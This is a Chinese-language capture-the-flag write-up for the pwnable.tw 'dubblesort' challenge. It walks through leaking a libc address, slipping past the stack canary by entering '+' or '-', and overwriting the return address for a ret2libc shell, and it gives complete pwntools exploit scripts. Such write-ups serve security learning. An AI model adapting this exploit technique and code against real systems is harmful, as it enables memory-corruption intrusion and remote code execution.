進行進一步的靜態分析,發現程式很簡單,但注意的是輸入的 `n` 個數字他並沒有進行一個邊界的限制,所以可以透過在陣列上給值來達成對 stack 的修改 ### 動態分析 * 透過 gdb 進行確認後,這題把所有的保護都打開了,因此要修改 stack 中 return 的位置,需要繞過 canary,並且由於是動態連結,也需要想辦法 leak 出 libc 記憶體位置,透過 offset 找到需要的 function 來完成 ret2lib #### Leaking libc address * 首先透過 vmmap 查看 libc 的 address,我們在透過輸入名字輸入 `aaaa` 的時候查看 stack 中有沒有跟 libc 相關的 address ![3](https://hackmd.io/_uploads/BkFLzgD5A.png) * 可以看到在 stack 中與 `aaaa` 差距 24 bytes 的 frame 中,存放者 `0xf7` 開頭的位置,看起來與 libc address 有關係,相減之後 offset 為 `0x1b0000` * 為了確保這個值跟 libc 的 offset 是固定的,多執行了幾次之後確定這個 address 與 libc 之間的 offset 固定 * 所以首先可以透過在名字的地方輸入 24 個 `a`,來 leak 出與 libc 相關的 address,並減去 `0x1b0000` 後得到 libc address,要注意的是還需要減去 `0x0a`,因為我們會在名字的最後輸入換行 `\n`,需要將這個值減去,程式碼如下 ```python= from pwn import * Local = True def setgdb(filename : str): p = process(filename, env={"LD_PRELOAD":"./libc_32.so.6"}) context.terminal = ["tmux", "splitw", "-h"] context.log_level = 'debug' gdb.attach(p) return p if __name__ == '__main__': lib = ELF('./libc_32.so.6') filename = './dubblesort' target = 'chall.pwnable.tw' port = 10101 if Local is True: p = setgdb(filename) else: p = remote(target, port) char_counts = 24 p.sendlineafter('What your name :','a' * char_counts) str_len = len('Hello ') + char_counts leak_address = u32(p.recv()[str_len:str_len + 4]) - 0x0a libc_address = leak_address - 0x1b0000 print(hex(libc_address)) ``` #### Bypassing canary * 接下來就是要想辦法透過對 stack 的操作來完成 ret2lib,並且要同時繞過 canary * 首先先輸入`1` `2` `3` 來看 stack 中的資料分布如何 ![4](https://hackmd.io/_uploads/HkwrMxD5C.png) * 可以看到 stack 的 ebp 位於與我們輸入的頭差距 33 個 frame,第 34 個 frame 舊式我們要覆蓋掉的 return address * 但現在不知道 canary 位在哪個位置 * 為了尋找 canary 位在哪裡,我這邊用手動的方法去找,最後找到位在第25個位置 ![canary](https://hackmd.io/_uploads/ByrVflP90.png) * 透過手動尋找發現在動到第 25 個的時候,就會跑出 stack smahing * 接下來就是要想辦法再不修改到 canary 的情況下,又能夠修改 stack 上的內容 * 透過靜態分析的時候,可以發現我們輸入這些數字是一個 `unsigned int`,所以若輸入 `a b c` 之類的,會讓程式結束 * 但如果輸入 `+ -` 的話,則可以接受,當我只輸入一個 `-` 的時候會發現輸出來的數字我根本不知道是甚麼,很有可能是直接輸出了 stack 上原本的值,透過 gdb 去追了之後也確實如此 * 現在知道輸入 `+ -` 能不改變 stack 上的值,又知道 ret addr 位在 第 34 個 frame,並且陣列裡的值會去進行排列 * 因此需要在第 25 個 frame 輸入 `+` 或 `-`,前面的 24 個 frame 要小於 canary 的值,輸入任意 `0 ~ 9` 都可以 * 接者在第 26 到第 34 個 frame 都放入 system 的 address,就能完成 ret2lib * pwntools 可以直接拿到 system 與 libc 的 offset * 且 system 的 address 比 canary還要大,因此不會因為排序而導致順序亂掉 * system 的下一個 frame 要先放一個給 system 看的 return address,再下一個才放要執行的 `/bin/sh` * `/bin/sh` 與 libc 的 offset 一樣可以透過 pwntools 找到 ```python=29 system = lib.symbols['system'] + libc_address # system offset bin_sh = next(lib.search('/bin/sh')) + libc_address #'/bin/sh' offset #return addr in arr[32], put system to arr[32], fake system ret addr to arr[33], 'bin/sh' to arr[34] p.sendline('35') for _ in range(24): p.sendlineafter('number :', '1') p.sendlineafter('number :', '-') for _ in range(8): p.sendlineafter('number :', str(system)) p.sendlineafter('number :', str(bin_sh)) #fake system ret addr p.sendlineafter('number :', str(bin_sh)) p.interactive() ``` * 最後成功在 local 端拿到 shell ![5](https://hackmd.io/_uploads/Syp0WgD90.png) * 最後值得一提的是,在遠端執行去打靶機的時候,會執行失敗,最後發現這是因為要 leak 出 libc 相關的 address 的位置與本機不同,原本的 24 bytes 改成 28 bytes 就能成功拿到 shell ###### tags: `pwn`